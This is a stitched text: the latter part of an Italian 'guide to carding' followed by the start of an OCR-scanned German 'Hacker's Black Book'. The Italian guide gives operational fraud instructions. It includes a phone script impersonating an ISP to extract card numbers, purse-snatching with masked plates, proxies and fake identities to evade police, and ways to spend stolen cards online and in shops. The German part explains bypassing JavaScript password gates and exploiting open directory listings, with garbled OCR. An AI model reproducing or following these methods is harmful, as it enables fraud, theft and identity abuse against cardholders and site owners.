S = Ha mai pagato via Internet con la carta di credito ? O preferisce pagare alla consegna ? (se prima ha risposto che non ha mai comprato via Internet chiedetegli il perché, se per paura, per non interesse, o altro).
P = Pago con la carta di credito, ma solo presso siti affidabili.
S = (se volete fate altre domande)
P = ...
S = Bene, la ringrazio davvero. Posso permettermi di inviarle un piccolo omaggio per la sua collaborazione ?
P = ...
S = La saluto. Grazie ancora e arrivederci.

Bene, durante la conversazione è meglio avere sottomano un foglio per segnarsi eventuali dati importanti, come ad esempio il tipo di carta di credito, ecc..
Segnatevi il nome il numero del pirla che avete chiamato perché dovrete chiamarlo un'altra volta.

Aspettate che passino un paio di settimane (2 o 3 settimane sono sufficienti) perché si dimentichi la vostra voce e poi telefonate di nuovo, stavolta passeremo all'azione.

P = Pronto ?
S = Buongiorno, sono della tin.it. Parlo con il sign xxx (nome della prima volta) che ha presso di noi un abbonamento a Internet ?
P = Sì, sono io.
S = Bene. Senta ci sono dei problemi con il suo account. Infatti cdnow.com (oppure un altro sito che vende materiale via Internet, amazon.com o altri) ci ha comunicato che qualcuno tramite il suo abbonamento ha più volte pagato con una carta di credito per un totale di 500.000 £ (!!!!). Data l'entità della cifra volevamo avere la sua conferma riguardo a questo acquisto.
P = Veramente io non ho mai visitato questo cdnow.com
S = Forse l'avranno visitato i suoi figli (se li ha, vedete la prima conversazioni). Chieda se magari loro credendo di fare solo una ragazzata..
P = Va bene, aspetti un attimo. [urla in sottofondo a chi ha usato Internet :-)].. No, nessuno ha detto di aver visitato quel sito.
S = Allora ho paura che qualcuno ha rubato le password del suo abbonamento e le stia usando per fare acquisti via Internet. E magari sta usando la sua carta di credito. Se mi dice il numero della sua carta di credito vediamo subito se corrisponde a quello usato su cdnow.com e allora le dico se bloccarla subito o meno.
P = Va bene, aspetti un attimo.. Ecco la carta.. (azzo, che agitato l'amico)
S = Mi dica pure il numero.
P = YYYY XXXX WWWW VVVV
(noi intanto scriviamo il numero della cc su un foglietto).
S = Aspetti che controllo.. No, per fortuna non è la sua carta. Se mi dice anche la data di scadenza controllo che non sia stata usata su altri siti..
P = Scade il ../..
S = No, è tutto a posto. Nessuno ha usato la sua cc. Comunque faccia un controllo del PC per controllare che non abbia virus. Le consiglio di comprare (se non ce l'ha già) Norton Antivirus. :-)
P = Sì, ma per le password dell'abbonamento Internet che mi hanno rubato..
S = A quello penseremo noi... Grazie e arrivederci.

Ed eccovi qui, con numero di carta di credito e nome del titolare e data di scadenza. Ammetto che perché qualcuno caschi in un trucco del genere dovete avere un culo enorme !!! Cmq provate, rischio minimo se usate una cabina !!

METODO 5: *il furto*
Secondo me questo è il metodo più stupido che possiate usare.
Non credo che vi serve che io spieghi come si fa. Vi piazzate in due con un motorino (scooter) davanti a un centro commerciale. Per mascherare la targa del ciclomotore potete usare semplicemente un fazzolettino oppure potete mettere sopra un foglio di carta bianco e scrivere una targa a caso. In questo modo se ci sarà una denuncia la targa che sarà data alla polizia sarà sbagliata e non risaliranno certo a voi.
In due.. Uno guida la moto e l'altra prenda la borsa della prima signora che affiancate.
L'unico vantaggio di tutto questo è che avrete in mano fisicamente la carta di credito. Ora vi elencherò tutti gli svantaggi.
La carta di credito verrà disattivata in 24 ore. Se per caso la signora che affiancate cade e batte la testa vi beccate pure una denuncia per omicidio colposo. La denuncia per furto è assicurata (fosse anche a ignoti, ma la denuncia c'è).
E tutto 'sto casino magari la carta di credito non c'è !!!!
Quindi io mi pongo in tutto e per tutto contro questo metodo. L'ho riportato solo per dovere di cronaca, perché alla fine dei conti anche questo è un metodo di carding, certamente il meno nobile e il più vergognoso che possiate usare.
Non l'ho mai usato e sono orgoglioso di non averlo mai messo in atto. Il resto sono affari vostri !!

Adesso ho il numero di una carta di credito (oppure una carta di credito). Come lo uso ?
Questa sì che è una domanda interessante e da sviluppare in modo molto ampio e soprattutto molto dettagliato. Molto dettagliato ho detto e lo ripeto, perché vi ricordo che il carding è reato e quindi è meglio proteggersi le spalle. La legge non è molto gentile con noi. Quindi attenti ragazzi [e ragazze..].
Allora, ci sono molti modi per usare le carte, a seconda del rischio che volete assumervi e a seconda del modo in cui vi siete procurati la carta. Infatti ciò che potete fare se avete la carta in mano non lo potete fare se avete solo il codice della card.
Capito ?
Passiamo in rassegna i vari metodi:
LEGENDA:

Rischio:
* = Minimo. Praticamente una passeggiata
** = Medio. Qui è meglio farci un po' di attenzione ed esagerare con le misure di sicurezza.
*** = Alto. Se volete giocare con il fuoco..
**** = Altissimo. Fatelo solo se siete sicuri di quelle che fate e usate tutte le misure di sicurezza del mondo!!

PRECAUZIONI:
Prima di leggere queste info vi conviene leggere queste precauzioni.
Usate dei proxy. Ma cosa sono i proxy ? Oddio, devo spiegarvelo proprio? Vabbè, tanto è questione di due minuti.
I proxy sono dei server che redirigono la nostra connessione verso il sito che vogliamo raggiungere tramite loro. Non avete capito un cazzo, vero ? Facciamo uno schema che è meglio.
A= voi
B = sito porno da raggiungere
C = server proxy

Questo è quanto succede se non usate un proxy
A ==richiesta informazioni ==> B
B ==invio informazioni ==> A
In questo modo B sa benissimo chi siete, sa il vostro indirizzo IP, che S.O. usate, che browser, ecc..
Invece usando un proxy succede questo:
A ==richiesta informazioni ==> C ==richiesta informazioni ==> B
B ==invio informazioni ==> C ==invio informazioni ==> A
Usando un proxy quindi B non sa che siete voi a richiedere le informazioni, ma crede che sia C. In questo modo B non ha le vostre informazioni direttamente. Per altre informazioni sui proxy andate verso la fine della guida, nella sezione FAQ.

Allora, dopo che abbiamo capito cosa sono e a cosa servono i proxy, prendiamone uno (vedi sez. FAQ) e poi configuriamo Internet Explorer (I.e.) o Navigator Netscape per l'azione.
Infatti prima dobbiamo renderci ancora più anonimi. Ancora di più ? Ma i proxy non sono sufficienti ? No, perché vi ricordo che state per commettere un azione illegale. Quindi è meglio prendere tutte le precauzioni possibili.
Disabilitiamo i cookie (per I.e. Strumenti - Opzioni Internet - Protezione - Internet - Personalizza Livello - scorrere fino a Cookie e selezionare Disattiva) (per Navigator di Netscape Modifica - Preferenze - Avanzate - nella finestra dei cookie che vi appare lì di fianco selezionare Disabilita i cookie).
Poi disabilitiamo Javascript (stesso procedimento dei cookie, solo che stavolta togliete il segno di spunta a Abilita Javascript).
Fatto. Siamo anonimi adesso ? MAGARI !!!!
Per maggiori informazioni su come essere anonimi andate sul Tank Commandos Web Site.
Cmq per fare quello che dobbiamo fare è sufficiente questo.
Se poi volete fare proprio i paranoici (e fate bene) potete attivare presso http://clubnet.tin.it, http://www.tiscalinet.it, http://www.worldonline.it, http://www.libero.it, ecc.. un abbonamento Internet con dati anagrafici falsi. Cioè ? Nome e cognome falsi, data di nascita falsa, codice fiscale falso.. Naturalmente potete usare il mitico GenerID ver. 2.2 di Cavallo de Cavillis (vedi FAQ) che vi darà tutti i dati falsi da usare, codice fiscale, indirizzo, e molto altro ancora compresi.

ABBONAMENTI A SITI PORNO
Rischio: *
Tipo di carta necessario: va bene il numero di una qualsiasi carta, in qualsiasi modo ve lo siate procurato..
Svolgimento:
Bhè, questo è senz'altro il trucco più facile e divertente che possiate fare. Per cominciare con il carding è un passaggio obbligatorio. Rischio minimo, potete usare qualsiasi carta di credito, a prescindere da come ve la siete procurata. Generatori automatici, trashing, il giovane commesso, furto, social engeering. Insomma, basta che sia un numero di cc.
Nonostante ciò è utile prendere un paio di misure di sicurezza, tanto per salvarci il culo nel disgraziato caso che le cose vadano male.
Accessori utili quindi per questo tipo di azione sono proxy, webproxy, abbonamenti altrui oppure abbonamenti attivati da noi con dati anagrafici falsi. (vedi precauzioni)
Cmq per farsi un abbonamento a un sito porno sarebbe sufficiente usare o un paio di proxy oppure un abbonamento a nome non nostro. Usarli entrambi conviene, non è necessario.

Il resto è facile facile. Andiamo nel primo sito porno che incontriamo (non andate su playboy.com a provare !! Usate siti porno semi-sconosciuti) e clicchiamo sulla famigerata scritta "Join". Completiamo la scheda di registrazione che apparirà con nome e cognome falsi, data di nascita falsa (qualche sito la richiede, in genere bastano nome, cognome e numero di cc) e numero della carta.

Il gioco adesso è fatto. Il sito vi darà login e password per entrare nell'area "riservata". Ricordate però che l'accesso durerà poco, giusto il tempo che il sito si accorga che avete usato una cc non vostra.. E allora l'account verrà disattivato. In genere basta una settimana.

Due piccoli consigli:
- Per un giochetto del genere non usate cc di persone realmente esistenti, quelle che vi danno i generatori automatici vanno più che bene e rischierete molto meno
- Fate girare subito tra i vostri amici (reali e anche quelli via email) le password che avete ottenuto. In questo modo avrete due vantaggi non da poco. Il primo è la fama di grandi hacker che vi farete (ricordate che giochetti del genere comunque non sono per niente da hacker, anzi !!!) e la seconda è che il sito porno avrà difficoltà a risalire al vostro account se decine di indirizzi IP hanno usato quelle password... Se proprio volete fare un favore a tutta la rete spedite le vostre password al sito www.xxxpassword.org !

ATTENZIONE: Alcuni siti porno a causa delle continue truffe che subivano hanno deciso di passare al contrattacco prendendo misure drastiche.. Molte hanno deciso di sobbarcare il lavoro di controllo (e di accettazione) delle cc ad aziende esterne, che nel 99% dei casi sono molto professionali. Per farvi capire con chi state trattando vi sbattono subito in faccia il vostro IP con sopra la scritta "Your IP IS LOGGED".. Okkio !!!!!

ACQUISTI DI SERVIZI ON LINE
Rischio: **
Tipo di carta necessario: In questo caso è consigliabile usare cc reali, che vi siete procurati con il trashing, con il furto, con la storia del commesso..
Svolgimento:
Acquisto di servizi on line.. Di che stai parlando Screener_it ?
Come ben sapete su Internet non si vendono solo merci ma anche servizi. Cosa intendo per servizi ? Bhé, si vendono programmi (!!), shell (!!!!!), abbonamenti flat (!!!!!!!!!!).
Ad esempio su direct.it potete comprare un programma e scaricarvelo direttamente. Senza bisogno che vi spediscano a casa niente.
Su galactica.it potete farvi un abbonamento flat (vedi FAQ). Su numerosi siti potete trovare in vendita shell.

Il procedimento è lo stesso dell'abbonamento a siti porno. Ci sono però delle differenze non da poco. Una differenza non da poco me l'ha fatta notare XantriX che ha provato ad acquistare una shell su www.shellux.net
A un certo punto della sua "azione" XantriX si è trovato davanti a un messaggio del genere:
"Scan verification, you will have to scan both sides of your credit card (cover the last 4 digits for security) and a legit ID like your driversi license or passaport. Send an email to salesi@shellux.net with the scans attached. On receipt of your scans your account will be setup right away."
Traduco, per chi non sapesse l'inglese [che ormai dovrebbero sapere tutti, dai !!].
"Verifica tramite scan. Lei deve passare con lo scanner entrambe le facce della sua carta di credito (copra le ultime 4 cifre per sicurezza) e un documento d'identità valido, come la sua patente o il suo passaporto. Spedisca una email a salesi@shellux.net con gli scan allegati. Al ricevimento dei suoi scan il suo account verrà attivato."
In questo caso c'è poco da fare.. Infatti dovremmo avere a disposizione uno scanner (che magari non tutti hanno, ma questo è proprio l'ultimo dei nostri problemi), dovremmo avere fisicamente in mano la carta di credito e anche un documento del proprietario. Praticamente impossibile. Complimenti a www.shellux.net per aver trovato un modo per fregarci. Comunque se riusciste a rubare una borsetta c'è sicuramente sia una carta di credito e anche un documento di identità. Chi ha orecchie per intendere..

Un'altra differenza è che molti siti richiedono che Java e gli Active X siano attivati (come galactica.it). Non c'è problema, ricordatevi però di usare un abbonamento non vostro e usate anche un paio di proxy.

ACQUISTI DI MERCE ON LINE

Rischio: ***
Tipo di carta necessario: In questo caso è consigliabile usare cc reali, che vi siete procurati con il trashing, con il furto, con la storia del commesso..
Svolgimento:
Qui la faccenda si fa interessante, non trovate ? Naturalmente, più è interessante più è rischioso.. Se vi piace giocare con il fuoco.. Ma attenti a non bruciarvi. Cose del genere posso segnarvi per tutta la vita.

Dunque, di cosa abbiamo bisogno stavolta ? Di una cc reale. E poi ?
Accessori utili quindi per questo tipo di azione sono proxy, webproxy, abbonamenti altrui oppure abbonamenti attivati da noi con dati anagrafici falsi. (vedi precauzioni)
In questo caso è praticamente obbligatorio usare tutte le precauzioni che ho già elencato, in particolare abbonamenti falsi, ecc..

Dopo che avete fatto tutta la trafila eccovi in un bel sito dove vendono roba on line. Bello.. Adesso prendo quello che mi piace e me lo faccio spedire direttamente a casa, magari a nome dei miei genitori. BRAVO !!!
Questo è il modo più semplice e veloce per trovarsi i pulotti (per chi non lo sapesse trattasi di poliziotti) a casa che ti sequestrano il computer tra le lacrime di tua madre e tuo padre che ti chiede cosa hai fatto. Spero che a nessuno di voi capiti una cosa del genere, ma mettetelo sempre in preventivo. Fa parte della vita che abbiamo scelto.

Fare acquisti on line è una questione di arte, raffinatezza e tanta, tanta, tanta fortuna !!
Come avete capito non possiamo certo farci spedire la roba a casa nostra, ci serve un altro indirizzo dove farci recapitare la roba. E allora che fare ?
Bhè, possiamo fare acquisti on line per conto di altri. Avete un vicino di casa (non troppo vicino) che vi rompe sempre le palle ? Andate su un sito di materiale pornografico e comprategli falli di plastica (magari è auto-sodomita.. :-).
Oppure potete comprargli roba offensiva. Riviste erotiche (immaginatevi che figura di merda !!!) e quanto altro vi possa venire in mente. Se è un uomo speditegli a casa lingerie femminile.. Fa sempre un certo effetto :-))

Tralasciando gli scherzi, come fare a comprare qualcosa per noi ? La faccenda qui si fa dura.. Risolviamo sempre la faccenda tra vicini, no ??
Mi spiego meglio: potreste usare la casa dei vicini (che sono andati in vacanza) per ricevere delle riviste o al limite dei libri. Infatti quelli potrebbero anche starci nella casetta delle lettere. Ma per pacchi più grandi e ingombranti ? La storia di mettere una cassetta in mezzo alla campagna non funziona per i pacchi. Al massimo il postino lascia un bigliettino dove dice di andare a ritirare il pacchetto all'ufficio postale oppure se proprio avete un culo pazzesco potrebbe chiedere al vicino di casa (che guarda caso siete voi..) di consegnarglielo poi. Ma il rischio è troppo alto. La cosa migliore sarebbe quella di farsi trovare dal postino nel giardino della casa dove il pacco va consegnato e spacciarvi per il figlio dei proprietari della casa. Anzi no, meglio farsi passare per il figlio di amici dei proprietari e dite che i proprietari e i vostri genitori sono andati a farsi un giro e li state aspettando, dato che non avete le chiavi e siete tornati prima del previsto. Come scusa dovrebbe reggere. In questo modo il postino (se non è uno pignolo) dovrebbe tranquillamente consegnarvi il pacco. ATTENZIONE !!! Non fatelo in paesi piccoli o se i vostri genitori sono conosciuti nella città. Infatti il postino potrebbe riconoscervi e dirvi: "Ma tu non sei il figlio dei..." e allora sarebbero cazzi.

La cosa migliore a questo punto sarebbe usare l'indirizzo di una casa di gente in vacanza (o anche una casa abbandonata, se non è proprio in decadenza) e provare a lasciare un biglietto nel quale si autorizza il postino a lasciare davanti alla porta di casa. Ma ho i miei dubbi che il postino ci cascherebbe. Se per disgrazia (in qualsiasi caso) il postino lascia un biglietto nel quale si invitano i veri proprietari ad andare a ritirare il pacchetto all'ufficio postale fate in modo di far sparire il biglietto, per evitare conseguenze che potete bene immaginare.

DOPPIA ATTENZIONE: se volete fare acquisti via Internet leggetevi BENE le sezioni "Sapete cosa sono le tre Y ?" e "Cos'altro guardano i venditori ?"

ACQUISTI DI MERCE IN NEGOZIO
Rischio: ****
Tipo di carta necessario: Potete usare questo trucco solo se avete fisicamente in mano una carta di credito
Svolgimento:
Qui si gioca veramente con il fuoco... Io la definirei una vera e propria mission impossible.

In questo caso vi servono solo due cose: dovete avere tra le mani una carta di credito e dovete avere un coraggio pazzesco.
Ammetto che io non ho mai fatto una cosa del genere. Né ne avrei mai il coraggio.
Però avrei una mezza idea di come farlo. Più che una mezza idea è un'idea bella e buona (e vi assicuro) che funziona. Almeno dovrebbe.

Allora.. Dovete solo avere una carta di credito tra le mani e avere (o dimostrare) 18 anni. O di più che non fa male.
Andate in un negozio (distante da dove abitate, magari in una città vicina [10 km]) e comprate qualcosa. Dopo di che dirigetevi alla cassa e date alla commessa alla cassa la cc.
Se avete coraggio (e ce ne vuole molto..) potete anche chiedere alla cassiera di battere un importo superiore a quello che dovete pagare e di darvi la differenza, dato che siete a corto di soldi. Ma attenti. La commessa potrebbe insospettirsi e allora potrebbe chiedervi un documento. E allora..

Date alla commessa alla cassa la carta di credito e quello che volete comprare e aspettate che esca lo scontrino. Non cominciate a guardarvi in giro innervositi ed evitate in ogni modo di sudare o di sembrare nervosi. Sarebbe la vostra rovina. Mettetevi un cappellino nel disgraziato caso ci siano delle telecamere. Calma e sangue freddo. Lo scontrino sta per arrivare..
Eccolo, sentite la macchina vibrare.. Cazzo, muoviti.
Appena arriva lo scontrino firmatelo (con uno scarabocchio, tanto nessuno controlla mai la firma) e andate.

APPENA FUORI NON BUTTATE VIA LA COPIA CHE VI HA DATO LA COMMESSA. Dovete distruggerlo. Accendetelo, buttatelo in un cesso pubblico, fate quello che vi pare, evitate comunque di tenervelo addosso per troppo tempo.
Mi raccomando: appena fuori dal negozio non cominciate a correre come pazzi. Potrebbero capire tutto. Uscite tranquilli.
Un'altra raccomandazione: non parcheggiate la macchina (o il motorino) vicino al negozio..
Se la parcheggiate lontano ci sarà meno gente che vedrà la targa.
Dopo di che tornate a casa. Ormai al sicuro. Fate sparire eventuali scontrini e.. A posto, siete al sicuro.
Sudato freddo, vero ?

ATTENZIONE. Come ho potuto scoprire nella mia "breve" esperienza di carding alcune carte di credito tedesche e olandesi in particolare hanno sulla facciata anteriore anche la foto del proprietario. Io non le userei per fare acquisti, la foto salta subito all'occhio e se magari c'è un uomo con i capelli neri e voi siete biondi, oppure con i baffoni mentre voi non avete neppure un accenno di barba.. Help me!!!

Un paio di esempi di scontrini.

Questa è la classica zona dove casca l'asino.. La prima difficoltà che molti trovano entrando nel mondo del carding è il fatto di non sapere leggere gli scontrini... Come ?? Ma non ci hai fatto uno schema prima ?
Sì, vi ho fatto uno schema su come leggere gli scontrini, ma quello era uno schema - esempio. Infatti le "macchinette" che si usano per fare i pagamenti con le carte di credito sono decine. E gli scontrini non sono sempre uguali tra loro, si differenziano. Ricopio qui sotto un paio di scontrini per farvi vedere come possono essere diversi, sia nelle voci che nel loro ordine.

/=\=

BANKAMERICARD <====== **TIPO DI CARTA DI CREDITO**
Esso 3434 D 1 <======NOME DEL NEGOZIO DOVE E' AVVENUTO IL PAGAMENTO
via Nazioni Unite <======INDIRIZZO DEL NEGOZIO
20100 MILANO <======INDIRIZZO DEL NEGOZIO
S/E-CE 1609065 <======??????? (chi conosco il significato di questo numero mi scriva)
TERM-ID: 09869146 <======NUMERO DEL TERMINALE
DATA: 28/06/00 11:55 <======DATA E ORA DELL'OPERAZIONE
N. TRANS: 000015 C:S <======NUMERO DI TRANSAZIONE
RIFERIMENTO: 00000015 <======NUMERO DI RIFERIMENTO DELLA TRANSAZIONE
5413302729349662 0105 <====== **NUMERO DELLA CARTA DI CREDITO E SCADENZA**
AUT. 9VHA05 CAUS. 875 <======NUMERO AUTORIZZAZIONE E CAUSALE
ACQUISTO CARTA CREDITO <======CAUSALE IN CHIARO

IMPORTO LIRE 70.400 <======IMPORTO DELL'OPERAZIONE IN LIRE
FIRMA CLIENTE
.... <======**FIRMA DEL TITOLARE DELLA CARTA**
CONTROV. EURO: 36,36 <======CONTROVALORE IN EURO

TRANSAZIONE ESEGUITA <======STATO DELLA TRANSAZIONE
Grazie e Arrivederci <======FORMULA DI COMMIATO

/=\=

DINERS <====== **TIPO DI CARTA DI CREDITO**
Esso 3434 D 1 <======NOME DEL NEGOZIO DOVE E' AVVENUTO IL PAGAMENTO
via Nazioni Unite <======INDIRIZZO DEL NEGOZIO
20100 MILANO <======INDIRIZZO DEL NEGOZIO
S/E-CE 0005183365 <======??????? (chi conosco il significato di questo numero mi scriva)
TERM-ID: 09869146 <======NUMERO DEL TERMINALE
DATA: 28/06/00 11:23 <======DATA E ORA DELL'OPERAZIONE
N. TRANS: 000012 C:S <======NUMERO DI TRANSAZIONE
RIFERIMENTO: 00000012 <======NUMERO DI RIFERIMENTO DELLA TRANSAZIONE
3623001260010 0205 <====== **NUMERO DELLA CARTA DI CREDITO E SCADENZA**
AUT. 8135 CAUS. 875 <======NUMERO AUTORIZZAZIONE E CAUSALE
ACQUISTO CARTA CREDITO <======CAUSALE IN CHIARO
IMPORTO LIRE 60.000 <======IMPORTO DELL'OPERAZIONE IN LIRE
FIRMA CLIENTE
.... <======**FIRMA DEL TITOLARE DELLA CARTA**
CONTROV. EURO: 30,99 <======CONTROVALORE IN EURO

TRANSAZIONE ESEGUITA <======STATO DELLA TRANSAZIONE
Grazie e Arrivederci <======FORMULA DI COMMIATO

/=\=

PAGO BANCOMAT <=====TIPO DI CARTA DI DEBITO
STAZ. SERV. FINA CREMONA <======NOME DEL NEGOZIO DOVE E' AVVENUTO IL PAGAMENTO
VIA BAKUNIN- 10 <======INDIRIZZO DEL NEGOZIO
ESERC. STAB. OPER. POS. <======TIPO DI POS IN USO
0406646 0001 00001 001 <======IDENTIFICATIVO DEL TERMINALE
DATA: 27/06/00 12:17 <======DATA E ORA DELL'OPERAZIONE
N. TRANS: 000020 <======NUMERO DELLA TRANSAZIONE
RIFERIMENTO: 0000000020 <======RIFERIMENTO DELLA TRANSAZIONE
CODICE ABI 35995 <======COORDINATE BANCARIE DEL PROPIETARIO DEL BANCOMAT
CARTA N. 080430722024 <======NUMERO DEL BANCOMAT
ADDEBITO CAUSALE 871 <======CAUSALE PAGAMENTO
IMPORTO LIRE: 100.000 <======IMPORTO LIRE

CONTROV. EURO: 51,65 <=====CONTROVALORE IN EURO
TRANSAZIONE ESEGUITA <=====STATO DELLA TRANSAZIONE

/=\=

Come potete notare nell'ultimo "scontrino" non ho messo niente in neretto... Xke' ? Perché l'ultimo scontrino si riferisce a uno scontrino di una carta di debito (vedi prima parte della guida) e di questo non ce ne facciamo niente. Avete capito il perché, vero ???????

FAQ (Frequently Asked Question)

Eccoci qua, questa finalmente è l'ultima parte di questa guida.. Spero che vi fin qua vi sia piaciuta. Qui troverete le domande che chi comincia con il carding si pone più spesso. Tenterò di rispondere a tutti i quesiti che vi possono sorgere, se non trovate qui una risposta alle vostre domande scrivetemi pure e nelle prossime guide pubblicherò (e risponderò) pubblicamente alle vostre domande. Naturalmente prima vi spedirò in privato la risposta.
Q= Question (domande)
A= Answer (risposta)

Q: *Ho un casino di scontrini senza firma, che me ne faccio ?*
A: Hai degli scontrini senza firma ? Controlla bene. Probabilmente sono degli scontrini di carte di debito (vedi schema qui sopra). Infatti gli scontrini di carte di credito DEVONO (per legge) essere firmati, se non sono firmati il titolare della carta di credito può fare ricorso e dire che lui non ha mai effettuato quella operazione. E se il commerciante non è in grado di fornire lo scontrino firmato deve restituire i soldi oltre a rimborsare le spese della parta danneggiata.

Q: *Ho capito cosa sono i proxy.. Ma dove possono trovarne delle liste?*
A: Puoi trovare delle liste di proxy sulle e-zine di hacking (vedi sito del Tank Commandos), su www.cyberarmy.com/lists, su http://proxys4all.cgi.net

Q: *Cos'è un abbonamento flat ?*
A: Questa domanda non è molto inerente al carding, comunque.. Un abbonamento flat è un abbonamento che tramite una quota mensile (per adesso) permette di navigare su Internet 24 ore su 24 senza pagare scatti, collegandosi cioè tramite dei numeri verdi. Mentre scrivo sono attivi gli abbonamenti flat di Galactica (70.000 £ al mese) e di Wind (60.000 £ al mese).

Q: *Dove posso trovare i generatori automatici ? E il GenerID ?*
A: Puoi trovare tutti i programmi che ho nominato nella guida sul sito del Tank Commandos

Q: *Qual è l'indirizzo del sito del Tank Commandos ?*
A: Mi sembrava di averlo già scritto comunque **http://go.to/tankcommandos**

Ringraziamenti

Vorrei ringraziare:
Tutti coloro che hanno scritto qualcosa sul carding e da cui ho pian piano imparato questa favolosa arte.
XantriX, che mi ha spinto con le sue domande a scrivere la versione 2 di questa Guida al Carding
Bakunin, non ti conosco di persona ma per me sei il + grande.. Grazie di esistere Michael !!
BsTHaCk, se di guide come la mia ce ne sono centinaia xke' la stai leggendo ?
Tutti quelli di #lamer (irc.tin.it)... Ragazzi, siete grandi !!
Tutti quelli che mi hanno mandato a fanculo quando me lo meritavo.. E ci sono volte in cui me lo merito !!!
Fritz, che mi ha promesso di consigliare questa guida nelle FAQ di alt.hackers.cough.cough.cough

Crediti & Books

Qui troverete i testi da cui ho preso spunto (nota: ho preso spunto, non ho copiato spudoratamente... E se li leggete noterete che la mia guida è diversa e che concetti espressi qui non sono presenti da altre parti.. Che sappia io) e che vi consiglio se volete diventare dei buoni "cardatori".

-"L'arte del Carding" scritto da Killexx - lo trovate su Newbies 3
-"Guida di base al Social Engeering" scritto da Techno Knight - lo trovate sul Cookbook di Techno Knight
-"Guida al carding" scritto da Techno Knight - lo trovate sul Cookbook di Techno Knight
-"Come hakkare un sito porno" scritto da _p0nico_ - lo trovate su Newbies 1
-"Trashing che passione!!" scritto da HarLok - lo trovate su Newbies 3
-"Utilizzare carte di credito.." scritto da Avatar - lo trovate sul Cookbook di Avatar
-"Ho mangiato pane e volpe" scritto da Romolo Pranzetti - lo trovate su Inter.net n. 51

gescannt von:

BITLES

"new-hackerz@gmx.de"

Jo Hallo erstmal! Ich hab heute für euch Hacker's Black Book gescannt (kostet normal 30 DM)! In diesem 20 Seiten langen Buch gibt es andeutungen darauf wie man hackt, genaures findet man dann schon selber raus!

******Vorwort zum Scannen!!!******
Ich habe das Buch ja mit Texterkennung gescannt, da kann`s natürlich vorkommen, das statt einem U ein Ü oder umgekehrt erkannt wird, oder das statt rn einfach ein m erkannt wird.
Beispiel: pornsite = pomsite

Hacker's Black Book

Dieser Report ist in zweierlei Hinsicht hilfreich. Er soll Menschen, die ihr Passwort verloren haben, die Möglichkeit geben, es durch Anwendung einfacher Techniken ohne lange Wartezeiten zurückzubekommen und Besitzern von Websites mit geschütztem Inhalt ermöglichen, diese Inhalte zu schützen.
Webmaster, die die in diesem Report beschriebenen Techniken kennen, haben wesentlich bessere Aussichten, Ihre Website sicher gegen Eindringlinge zu schützen.
Unter der URL:
http ://zaehlwerk.de/banner/secure/
befindet sich der Mitgliedsbereich zu diesem Report.
Dort finden Sie Utilities und Tools, um die in diesem Report beschriebenen Techniken nachzuarbeiten.
Ihr Login: Ihr Passwort:

Hacker's Black Book

Inhaltsverzeichnis

Thema Seite

JavaScript-Passwortschutzsysteme

Die einfachste Art von Passwortschutzsystemen ist der sogenannte JavaScript-Schutz. Dabei wird der Benutzer beim Betreten einer Seite oder beim Anklicken eines bestimmten Links dazu aufgefordert ein Passwort einzugeben. Diese Art von Schutz ist sehr einfach und bietet nur ein Minumum an Schutz.

Beim Betrachten des HTML-Quellcodes der Seite findet sich dann oftmals ein JavaScript-Code ähnlich dem folgenden:

```
<head><title> Website-Titel </title> <script>
function jprot() { pass=prompt("Enter your password","password");
if (pass == "nasenbaer") {
document.location.href="http://protectedserver.com/index.html";
} eise {
 alert( "Password incorrect!" );
 }
</script> </head>
```

Wie man sieht, wird das eingegebene Passwort verglichen und bei Korrektheit an eine angegebene URL gesprungen. Nun sieht man, wie das Passwort zu heißen hat und kann es einfach eingeben oder direkt die Ziel-URL wählen.

Oft wird auch das Passwort benutzt, um eine Ziel-URL zu generieren. Beispielsweise könnte die geheime Ziel-URL http://members.protectedserver.com/members/hu8621 s.htmL das Passwort „hu8621s" würde als Teil der URL kodiert. Die entsprechende Schutz-Funktion im HTML-Code der Seite sähe dann folgendermaßen aus:

```
function jprot() {
pass=prompt("Enter your password","password");
document. location. href="http://members.protectedserver. com/members/"+pass-+-
" .html" ;
```

Hier besteht mehr Schutz als in der ersten Variante, allerdmgs sind die Verzeichnisse mittels des HTTP-Servers oft nicht gegen unerlaubtes listen des Verzeichnisses geschützt. Wählt man mittels des Browsers die URL **http://members,Drotectedserver.com/members/** direkt in den Browser, so erhält man oftmals eine Auflistung aller HTML-Seiten in diesem Verzeichnis, also auch die Seite, die über den JavaScript-Passwortschutz angesprungen wird.

HTACCESS-Passwortschutzsysteme

Fast alle heute eingesetzten Webserver beherrschen den sogenannten HTACCESS-Passwortschutz. Zuerst wurde er vom Apache-webserver eingesetzt, mittlerweile sind jedoch viele andere Webserver zum HTACCESS-Standard kompatibel. Daher wird er auch sehr häufig von sogenannten Paysites eingesetzt. Z.B. die Websites www.playgal.com oder www.hotsex.com setzen diesen Schutzmechanismus ein.

Eine Website, die HTACCESS einsetzt, ist daran zu erkennen, daß bei betreten des Mitgliedsbereichs ein Popup-Dialog erscheint (NICHT JavaScript-generiert), der folgendermaßen aussieht: **BILD FEHLT (SORRY!)** Um die Arbeitsweise dieses Schutzes zu verstehen, sollte man einige Grundlagen des Unix-Betriebssystems kennen. Unter Unix (bzw. Linux, BSD etc.) und auch unter Windows-Webservem wie dem Microsoft US sind die HTML-Dokumente wie auch bei einem normalen PC hierarchisch in Verzeichnisstrukturen angeordnet und abgelegt. Man spricht hier insbesondere von einer „Baumstruktur". Die Wurzel des Baumes (engl. „Root") ist die Domain selber ohne weitere Informationen. Zum Beispiel www.ibm.com ist die Domain und diese ist das Root der Verzeichnisstruktur.

```
|-|..#root
    |    |-|..#members    |   |..#secure    |....#public
```

Wenn in dem Verzeichnis "secure" nun die zu schützenden HTML-Dokumente und Grafiken liegen würden, so müßte in diesem Verzeichnis nun ein HTACCESS-File abgelegt werden. Das File muß den Namen ".htaccess" (mit Punkt davor) tragen. Das HTACCESS-File legt fest in welcher Datei die Passwörter liegen und aufweiche Art das Verzeichnis zu schützen ist. Das HTACCESS-File sieht folgendermaßen aus: AuthUserFile /usr/home/myhomedir/passes AuthName MyProtectedSite AuthType Basic.

<Limit GET POST PUT> require valid-user </Limit>

Diese HTACCESS-Datei legt fest, daß das Passwortfile die Datei **/usr/home/myhomedir/passes** auf dem Server ist. Sinnvoller Weise sollte die Passwort-Datei nicht im Bereich der HTML-Dokumente liegen, also nicht via WWW zugehbar sein. Die Optionen "AuthName" gibt an, welche Bezeichnung im PopUp-Dialog erscheinen soll (im Dialog oben beispielsweise "playgal").

